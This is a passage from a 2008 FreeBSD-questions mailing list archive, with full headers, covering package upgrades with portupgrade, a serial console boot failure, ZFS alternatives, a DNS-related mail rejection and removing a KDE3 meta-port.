(wa-out-1112.google.com [209.85.146.178]) by mx1.freebsd.org (Postfix) with ESMTP id 9E29B8FC17 for ; Tue, 2 Dec 2008 07:08:05 +0000 (UTC) (envelope-from jevv.cr@gmail.com) Received: by wa-out-1112.google.com with SMTP id m34so1405201wag.27 for ; Mon, 01 Dec 2008 23:08:05 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type:content-transfer-encoding :content-disposition; bh=yFCQSKmafwxUFULPeD5Hi0Gu+m7Ox5rmkIjeh3y0R8A=; b=j5j05+q86CaK7m4myEiO4l36grBwW1+MJVdhO6yRRgGA65lcKaeiIMxHzDDQmADQLm iaQ3c9IKGeo5g8vSAQkhyBS8gp4s2esWzce/Q0NFYUyBj07WuMfWrhE8DEQ2fwv9oEdL T06oFWzPWt+PFTnFUreYBSh2mn+kKjQV0rBxU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition; b=s2RUr+T9wCT1i3/UTNyIw3X7i1T7k4GmkZvonYWOLobbgcNnFZdsNb6dmXLze1B8hQ GDaZwH51T6VqCIC4AAiOYtBJcrKHk7AAMU2q/1qQQdpZcoTa+l+mQXBkX1auwCTqc0WU tpGBuEd9VS3jST0VvjdNs5gLdVANuMNXeMTKw= Received: by 10.115.32.8 with SMTP id k8mr7077860waj.54.1228200118864; Mon, 01 Dec 2008 22:41:58 -0800 (PST) Received: by 10.115.109.15 with HTTP; Mon, 1 Dec 2008 22:41:58 -0800 (PST) Message-ID: Date: Tue, 2 Dec 2008 00:41:58 -0600 From: "Javier Vasquez" To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 07:08:05 -0000 Hi, I was reading chapter 4 of the handbook, as well as chapters 24 and 26... If I got it clear, I pretty much might get the base system updated by using freebsd-update script. Ports collection can get updated with portsnap, but that doesn't update neither the intalled ports, nor the installed packages. To upgrade the installed ports, portmanager or portmaster or portupgrade can be used... However only portupgrade can be used to upgrade packages, right? Now, can something like "portupgrade -a -PP" to upgrade all packages without building a thing (might be that some don't get updated due to the lack of binary package yet, and in such case would dependencies be managed right)? More into how things work, as ports and pacakages are not part of the base systems, are they somehow associated to a particular release (most probably not)? So that pretty much no matter the release, if packages and ports are kept up to date, they might be the same for all releases? I'm asking these questions since I'm evaluating moving to BSD, but I want to avoid compiling as much as possible since my box is 800MHz piii celeron with just 32KB of cache and 512MB of ram, and for it source based distributions have proven to be too much to handle, so my intention would be to live with binary packages and updates/upgrades only... Also if remaining under -STABLE, is all this possible? Kind of understood that openoffice.org can't be installed with "pkg_add -r", so most probably if living under -STABLE automatic updates for openoffice.org won't show up... So this kinds of answers one previous question about the packages been independent from the base system release, it looks like they aren't... Thanks, -- Javier From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 07:13:44 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4AFCA106564A for ; Tue, 2 Dec 2008 07:13:44 +0000 (UTC) (envelope-from jevv.cr@gmail.com) Received: from wa-out-1112.google.com (wa-out-1112.google.com [209.85.146.180]) by mx1.freebsd.org (Postfix) with ESMTP id 2C4BB8FC0A for ; Tue, 2 Dec 2008 07:13:44 +0000 (UTC) (envelope-from jevv.cr@gmail.com) Received: by wa-out-1112.google.com with SMTP id m34so1406198wag.27 for ; Mon, 01 Dec 2008 23:13:43 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=efQK2/GF+9Po4bLWe4rxe0K7K4yZrEL+mLAH/6s5C8A=; b=gpiUovvUAmIQ1HMVNhvI3xm1YaMdOq5krRKYNwW5/D6pV437C0NTKa8NmN66Kzku6I FWnn5J9wWhdQwPDdWnrGHYmhu6UHi6iwjThHvLHKkTg8QeDmjfBQL4yQPsnfxn4BFvzy NWS8w31dxFqjGN2Sv/E8awQxYik0F0dZxN/Dw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=Pd+4h4YJX+HHJAQ1uzhwdoUoTI9jY33le2Rr/0z0ZxK3s31YCoAxsl1ERlnH1G8Q/a ZWX+66lirI/mIqbAtf0pbKTWfuS+Gyuj4JWDmeX4Gqe8mIcRplixPTj5UWWV1gcobhoo 3M0ERJH4i5VjbREXN2tsV9MBAQc4O3oN1MNEA= Received: by 10.114.200.2 with SMTP id x2mr7075538waf.83.1228200188704; Mon, 01 Dec 2008 22:43:08 -0800 (PST) Received: by 10.115.109.15 with HTTP; Mon, 1 Dec 2008 22:43:08 -0800 (PST) Message-ID: Date: Tue, 2 Dec 2008 00:43:08 -0600 From: "Javier Vasquez" To: freebsd-questions@freebsd.org In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 07:13:44 -0000 On 12/2/08, Javier Vasquez wrote: > Hi, > > I was reading chapter 4 of the handbook, as well as chapters 24 and > 26... If I got it clear, I pretty much might get the base system > updated by using freebsd-update script. Ports collection can get > updated with portsnap, but that doesn't update neither the intalled > ports, nor the installed packages. To upgrade the installed ports, > portmanager or portmaster or portupgrade can be used... However only > portupgrade can be used to upgrade packages, right? > > Now, can something like "portupgrade -a -PP" to upgrade all packages > without building a thing (might be that some don't get updated due to > the lack of binary package yet, and in such case would dependencies be > managed right)? > > More into how things work, as ports and pacakages are not part of the > base systems, are they somehow associated to a particular release > (most probably not)? So that pretty much no matter the release, if > packages and ports are kept up to date, they might be the same for all > releases? > > I'm asking these questions since I'm evaluating moving to BSD, but I > want to avoid compiling as much as possible since my box is 800MHz > piii celeron with just 32KB of cache and 512MB of ram, and for it > source based distributions have proven to be too much to handle, so my > intention would be to live with binary packages and updates/upgrades > only... > > Also if remaining under -STABLE, is all this possible? Kind of > understood that openoffice.org can't be installed with "pkg_add -r", > so most probably if living under -STABLE automatic updates for > openoffice.org won't show up... So this kinds of answers one previous > question about the packages been independent from the base system > release, it looks like they aren't... > > Thanks, > > -- > Javier > I forgot to ask to CC me, since I'm not part of the list yet... Thanks, -- Javier From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 07:26:25 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5E5F61065672 for ; Tue, 2 Dec 2008 07:26:25 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 3BE5A8FC1D for ; Tue, 2 Dec 2008 07:26:25 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 67369AFC1C6; Mon, 1 Dec 2008 22:26:24 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Tue, 2 Dec 2008 08:26:20 +0100 User-Agent: KMail/1.9.7 References: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> In-Reply-To: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812020826.21345.fbsd.questions@rachie.is-a-geek.net> Cc: Ji Subject: Re: mount problem after enabling serial console X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 07:26:25 -0000 On Tuesday 02 December 2008 07:41:17 Ji wrote: > Hi all, > > I ran into a weird problem when enabling serial console on the FreeBSD > 7.0. Your help is really appreciated. > I installed FreeBSD 7.0 amd64 (from the CD) on a Dell R200, and then > enabled the serial console by adding the following to > /boot/loader.conf > > hint.sio.0.flags="0x30" > console="comconsole vidconsole" > comconsole_speed="9600" > boot_multicons="yes" > > And also replaced the following line on /etc/ttys > > ttyd0 "/usr/libexec/getty std.9600" dialup off secure > > with > > ttyd0 "/usr/libexec/getty std.9600" vt220 on secure. > > During rebooting, I found that the system hangs with the following > messages and interrupt looks totally messed up > > " > ... > Trying to mount root from ufs:/dev/ad4s1a > > Manual root filesystem specification: > : Mount using filesystem > eg. ufs:da0s1a > ? List valid disk boot devices > Abort manual input > > mountroot> > > ..." > > And to my surprise, if I keep rebooting again and again without doing > any fixing, the problem comes and goes, which confused me. > When the problem is not present, the serial console looks working > normally. Can anyone help me with that? Thanks a lot. > > Jim > atapci0: port > 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc5 >0-0xbc5f irq 6 at device 31.2 on pci0 > atapci0: unable to map interrupt > device_attach: atapci0 attach returned 6 There's your problem. Atapci0 can't get an interrupt, which is the ata controller that controls your disk. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 07:39:58 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 20E001065670 for ; Tue, 2 Dec 2008 07:39:58 +0000 (UTC) (envelope-from nslay@comcast.net) Received: from QMTA03.emeryville.ca.mail.comcast.net (qmta03.emeryville.ca.mail.comcast.net [76.96.30.32]) by mx1.freebsd.org (Postfix) with ESMTP id 16D648FC0C for ; Tue, 2 Dec 2008 07:39:58 +0000 (UTC) (envelope-from nslay@comcast.net) Received: from OMTA13.emeryville.ca.mail.comcast.net ([76.96.30.52]) by QMTA03.emeryville.ca.mail.comcast.net with comcast id m7DC1a00917UAYkA37PyNF; Tue, 02 Dec 2008 07:23:58 +0000 Received: from LIGHTBULB.LOCAL ([68.35.224.189]) by OMTA13.emeryville.ca.mail.comcast.net with comcast id m7Pw1a00145o48c8Z7PxtA; Tue, 02 Dec 2008 07:23:57 +0000 X-Authority-Analysis: v=1.0 c=1 a=YOglmoOUv8IA:10 a=hmvqgfPCrs8A:10 a=XptsId3dtelf0zPST2oA:9 a=3byKtiITsdt_okUqd-3lqL_ZOZIA:4 a=csDljm-qqwUA:10 Message-ID: <4934E276.3050308@comcast.net> Date: Tue, 02 Dec 2008 02:23:34 -0500 From: Nathan Lay User-Agent: Thunderbird 2.0.0.17 (X11/20081110) MIME-Version: 1.0 To: Ivan Voras References: <200812010959.15647.kirk@strauser.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 07:39:58 -0000 Ivan Voras wrote: > Kirk Strauser wrote: > > >> At this point, I'm almost ready to go back to good ol' UFS2, but I'd hate to >> give up that easy addition of new filesystems. I *could* have a single 700GB >> root FS but that just doesn't seem right. Are there any good, tested GEOM- >> based ways of getting that functionality, perhaps along the lines of using >> something like gvirstor and growfs as needed? >> > > There's nothing as convenient as ZFS (really... anywhere) :( . > > I'm still hoping someone will sponsor development or porting of a widely > used journalling file system like XFS, JFS, even ext3/4 to FreeBSD, but > in the meantime UFS2+SU isn't that bad. Practically the only way to > break it is if you have hardware errors that end up corrupting file > system data. The need to run full fsck occasionally (as opposed to the > softupdates-assisted one) is annoying but 700 GB should be manageable > with 3-4 GB of memory. The softupdates-assisted fsck actually works very > well in all but the heaviest loads (i.e. when the server is swamped by > requests immediately after booting). > > You could also try gjournal but benchmark and test it first for your > workload. > > gvirstor is a theoretically good option if you need its specific > functionality, only be doubly sure to benchmark it for your specific > workload as it has some /unusual/ performance characteristics. > > What about DragonFlyBSD's new HAMMER FS? I hear it has similar capabilities as ZFS without the overhead. Though, strangely, I haven't really heard anyone discuss it even though it was released some months ago. Best Regards, Nathan Lay From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 07:50:33 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A1B51106564A for ; Tue, 2 Dec 2008 07:50:33 +0000 (UTC) (envelope-from ebbe.hjorth@gmail.com) Received: from qb-out-0506.google.com (qb-out-0506.google.com [72.14.204.232]) by mx1.freebsd.org (Postfix) with ESMTP id 6858E8FC12 for ; Tue, 2 Dec 2008 07:50:33 +0000 (UTC) (envelope-from ebbe.hjorth@gmail.com) Received: by qb-out-0506.google.com with SMTP id f30so2774015qba.35 for ; Mon, 01 Dec 2008 23:50:33 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type; bh=cEnELSJIAt4PoOQAATNHT30ANok1PRtdftr6qf1scsQ=; b=LwFK7McGXpSx9kEI0pN8CTEpGMZlCrJMptMs/Id3zWmtY2oSWfuVpROzy7IQ+0l0bh lu95Jsc9iohnvnS5cjjedDtjdrUeU7LgYd1fWY+xBsUHMFe6tYD2MZXc0/uA2xDgvpa9 q5qiyngi6Ee9O+fM3ZOnHHWrKHEX918nkfeTw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type; b=rYDDD0AQ+lUmBtkwMxilMl0SGBk6GN3Q5+KjNX4TJLUOi/0HgMU8ECWZM25qfOtOMq +sKlYVzk9nZ7ClxTB16PtjeX/gxebHWLpWJCEs42p1B9TcNPr8iKpJtj7kSiDZvWepMR XhBoKkw7P+Vz19+4d0k+q02P6wOQTtDO+PIe4= Received: by 10.210.16.11 with SMTP id 11mr1169826ebp.20.1228203531625; Mon, 01 Dec 2008 23:38:51 -0800 (PST) Received: by 10.210.138.17 with HTTP; Mon, 1 Dec 2008 23:38:51 -0800 (PST) Message-ID: <1bd820d80812012338v6c4c8926ncc24838956fa9ee7@mail.gmail.com> Date: Tue, 2 Dec 2008 08:38:51 +0100 From: "Ebbe Hjorth" To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: mx1.freebsd.org X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 07:50:33 -0000 Hi, My postfix mail servers shows to messages in the queue saying (host mx1.FreeBSD.org[69.147.83.52] said: 450 4.7.1 Client host rejected: cannot find your hostname, [86.58.167.132] (in reply to RCPT TO command)) But when i do a lookup or a reverse lookup, i find my hostname, also from work and other ip, not only local ;) Does mx1.freebsd.org have an old dns? - This affects me sending mail to all the freebsd lists. / Ebbe From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 07:51:20 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DF9781065676 for ; Tue, 2 Dec 2008 07:51:20 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from hawk.thalamus.net (hawk.thalamus.net [212.31.160.3]) by mx1.freebsd.org (Postfix) with ESMTP id ADC388FC1E for ; Tue, 2 Dec 2008 07:51:20 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from localhost (localhost.thalamus.net [127.0.0.1]) by hawk.thalamus.net (Postfix) with ESMTP id 7365F1EE863 for ; Tue, 2 Dec 2008 08:38:50 +0100 (CET) X-Virus-Scanned: by amavisd-new at thalamus.net X-Spam-Flag: NO X-Spam-Score: 2.436 X-Spam-Level: ** X-Spam-Status: No, score=2.436 tagged_above=-999 required=4.2 tests=[AWL=-0.733, HELO_LH_HOME=3.169] Received: from hawk.thalamus.net ([127.0.0.1]) by localhost (hawk.thalamus.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 8kDduQMyXhCk for ; Tue, 2 Dec 2008 08:38:41 +0100 (CET) Received: from lesbsdpc.homenet.home (c-195-216-040-164.static.bjare.net [195.216.40.164]) by hawk.thalamus.net (Postfix) with ESMTP id 175C61EE846 for ; Tue, 2 Dec 2008 08:37:59 +0100 (CET) Message-ID: <4934E5DA.6040308@eskk.nu> Date: Tue, 02 Dec 2008 08:38:02 +0100 From: Leslie Jensen User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Uninstalling kde3 meta-port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 07:51:21 -0000 Hi How would you guys uninstall a meta-port? I'm considering a move to kde4 but I want a clean install, so I want to remove the kde3 meta-port first. Thanks /Leslie From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 07:53:00 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7456D1065675 for ; Tue, 2 Dec 2008 07:53:00 +0000 (UTC) (envelope-from lijimlee@gmail.com) Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.185]) by mx1.freebsd.org (Postfix) with ESMTP id 132F08FC28 for ; Tue, 2 Dec 2008 07:52:59 +0000 (UTC) (envelope-from lijimlee@gmail.com) Received: by nf-out-0910.google.com with SMTP id h3so1521240nfh.33 for ; Mon, 01 Dec 2008 23:52:58 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=n9R/8xA8xHy7qNpIVnlI2Pt4PGXLhVAw0Qkc7qfW4bQ=; b=c7A5xmaHo2u3JImTEwpeTDvMfglHwKemraPSbaYWy9qcpmhoGx9zbZrA+ehDqSuWG/ p+hvkVTPgQqNGDSdwOcLc53pfxc55Rgp4wyYz45ErnV6jdtMW0XfRX5rQ4k7IVib3C/u mu/FDTX+wHuFC/O40kJ17m6FW4JXucsryGims= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=HbOZ6fSFS5oT8P9WNk5cIu8GrUVJ5vErUJk4Ms7NmxBxjNrrvENC2Ml2UZSb/TzOI8 2elym+LyLARykJlVwHWxg5FpIz4kmrdm5SAX/x1FPn3Y+Kr6wfim2y7p659RPExsSTrp F52PeXKg20YQercZqujAQkUeQ9AX5eUlqQ8Ec= Received: by 10.86.31.18 with SMTP id e18mr6994082fge.72.1228204378668; Mon, 01 Dec 2008 23:52:58 -0800 (PST) Received: by 10.86.90.3 with HTTP; Mon, 1 Dec 2008 23:52:58 -0800 (PST) Message-ID: <8fd8f02c0812012352y6b4aca89v6d7b1355c3ab95f@mail.gmail.com> Date: Mon, 1 Dec 2008 23:52:58 -0800 From: Ji To: Mel In-Reply-To: <200812020826.21345.fbsd.questions@rachie.is-a-geek.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> <200812020826.21345.fbsd.questions@rachie.is-a-geek.net> Cc: freebsd-questions@freebsd.org Subject: Re: mount problem after enabling serial console X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 07:53:00 -0000 Thank you for your reply, Mel. There must be something wrong. What confused me is why the booting problem does not appear every time I reboot the computer and the serial console does work fine if it can boot. And I will really appreciate if you can specify my problem. Thanks a lot. Jim On Mon, Dec 1, 2008 at 11:26 PM, Mel wrote: > On Tuesday 02 December 2008 07:41:17 Ji wrote: >> Hi all, ... > >> atapci0: port >> 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc5 >>0-0xbc5f irq 6 at device 31.2 on pci0 >> atapci0: unable to map interrupt >> device_attach: atapci0 attach returned 6 > > There's your problem. Atapci0 can't get an interrupt, which is the ata > controller that controls your disk. > > -- > Mel > > Problem with today's modular software: they start with the modules > and never get to the software part. > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 07:59:01 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4ED43106564A for ; Tue, 2 Dec 2008 07:59:01 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id D98748FC19 for ; Tue, 2 Dec 2008 07:59:00 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id mB27vh7V026595 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 2 Dec 2008 14:57:43 +0700 (ICT) (envelope-from on@banyan.cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.2/8.12.11) id mB27wxOk079265; Tue, 2 Dec 2008 14:58:59 +0700 (ICT) Date: Tue, 2 Dec 2008 14:58:59 +0700 (ICT) Message-Id: <200812020758.mB27wxOk079265@banyan.cs.ait.ac.th> From: Olivier Nicole To: ebbe.hjorth@gmail.com In-reply-to: <1bd820d80812012338v6c4c8926ncc24838956fa9ee7@mail.gmail.com> (ebbe.hjorth@gmail.com) References: <1bd820d80812012338v6c4c8926ncc24838956fa9ee7@mail.gmail.com> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Cc: freebsd-questions@freebsd.org Subject: Re: mx1.freebsd.org X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 07:59:01 -0000 Hi, > My postfix mail servers shows to messages in the queue saying > > (host mx1.FreeBSD.org[69.147.83.52] said: 450 4.7.1 Client host rejected: > cannot find your hostname, [86.58.167.132] (in reply to RCPT TO command)) > > But when i do a lookup or a reverse lookup, i find my hostname, also > from work and other ip, not only local ;) I am not sure if that helps but: dig -x 86.58.167.132 ;; ANSWER SECTION: 132.167.58.86.in-addr.arpa. 3600 IN PTR apz.dk. dig apz.dk ;; ANSWER SECTION: apz.dk. 3600 IN A 86.58.131.227 I am not sure if that's the expected result. olivier From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 08:04:58 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 12C801065670 for ; Tue, 2 Dec 2008 08:04:58 +0000 (UTC) (envelope-from beech@freebsd.org) Received: from bsdevel.alaskaparadise.com (bsdevel.alaskaparadise.com [208.86.224.193]) by mx1.freebsd.org (Postfix) with ESMTP id D49508FC1A for ; Tue, 2 Dec 2008 08:04:57 +0000 (UTC) (envelope-from beech@freebsd.org) Received: from stargate.alaskaparadise.com (172-67-237-24.gci.net [24.237.67.172]) by bsdevel.alaskaparadise.com (Postfix) with ESMTP id 265B328E1B8D; Tue, 2 Dec 2008 08:04:57 +0000 (UTC) From: Beech Rintoul To: freebsd-questions@freebsd.org Date: Mon, 1 Dec 2008 23:04:56 -0900 User-Agent: KMail/1.10.1 (FreeBSD/8.0-CURRENT; KDE/4.1.1; i386; ; ) References: In-Reply-To: Organization: FreeBSD MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812012304.56334.beech@freebsd.org> Cc: Javier Vasquez Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 08:04:58 -0000 On Monday 01 December 2008 21:43:08 Javier Vasquez wrote: > On 12/2/08, Javier Vasquez wrote: > > Hi, > > > > I was reading chapter 4 of the handbook, as well as chapters 24 and > > 26... If I got it clear, I pretty much might get the base system > > updated by using freebsd-update script. Ports collection can get > > updated with portsnap, but that doesn't update neither the installed > > ports, nor the installed packages. To upgrade the installed ports, > > portmanager or portmaster or portupgrade can be used... However only > > portupgrade can be used to upgrade packages, right? Not sure about the others, I use portupgrade myself. But yes, you can update packages with portupgrade. > > > > Now, can something like "portupgrade -a -PP" to upgrade all packages > > without building a thing (might be that some don't get updated due to > > the lack of binary package yet, and in such case would dependencies be > > managed right)? Not sure what you mean by managed, but if there's no package there would be no dependent ports downloaded. If you do a portupgrade -aP (single "P") it will go look for a package then compile it if it's not available. Compiling really isn't that bad even on an 800MHz box. I did development for two years on a 750MHz box and don't use packages. FreeBSD does a good job tracking dependencies, you just have to do some housecleaning once in awhile. Portupgrade will stop and tell you what to do if if finds something out of whack in your dependencies. It does that before building anything. > > > > More into how things work, as ports and packages are not part of the > > base systems, are they somehow associated to a particular release > > (most probably not)? So that pretty much no matter the release, if > > packages and ports are kept up to date, they might be the same for all > > releases? There are packages that come with a release, but they are out of date by the time you load the CD anyway. Ports are always the head branch for all versions. The packages for a particular branch tend to lag the updates by up to a couple of weeks although they are built continually. If you want to stay really up to date you need to keep your tree updated with portsnap or csup (part of the base system) and compile them yourself. Another advantage to compiling is you can choose options. The packages are always built with default options which is generally OK, but not always optimal. > > > > I'm asking these questions since I'm evaluating moving to BSD, but I > > want to avoid compiling as much as possible since my box is 800MHz > > piii celeron with just 32KB of cache and 512MB of ram, and for it > > source based distributions have proven to be too much to handle, so my > > intention would be to live with binary packages and updates/upgrades > > only... You can use packages for most ports. There are notable exceptions a port that is restricted by license from redistribution will never be packaged so you have no choice but to compile it yourself. But these are few. > > > > Also if remaining under -STABLE, is all this possible? Kind of > > understood that openoffice.org can't be installed with "pkg_add -r", > > so most probably if living under -STABLE automatic updates for > > openoffice.org won't show up... So this kinds of answers one previous > > question about the packages been independent from the base system > > release, it looks like they aren't... Can't answer about open office, I don't use it. > > > > Thanks, > > > > -- > > Javier YW. Hope I answered some of your questions. Beech -- --------------------------------------------------------------------------------------- Beech Rintoul - FreeBSD Developer - beech@FreeBSD.org /"\ ASCII Ribbon Campaign | FreeBSD Since 4.x \ / - NO HTML/RTF in e-mail | http://people.freebsd.org/~beech X - NO Word docs in e-mail | Skype: akbeech / \ - http://www.FreeBSD.org/releases/7.0R/announce.html --------------------------------------------------------------------------------------- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 08:07:48 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7875F106564A for ; Tue, 2 Dec 2008 08:07:48 +0000 (UTC) (envelope-from aggelidis.news@gmail.com) Received: from yx-out-2324.google.com (yx-out-2324.google.com [74.125.44.28]) by mx1.freebsd.org (Postfix) with ESMTP id 442388FC13 for ; Tue, 2 Dec 2008 08:07:48 +0000 (UTC) (envelope-from aggelidis.news@gmail.com) Received: by yx-out-2324.google.com with SMTP id 8so1150039yxb.13 for ; Tue, 02 Dec 2008 00:07:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; 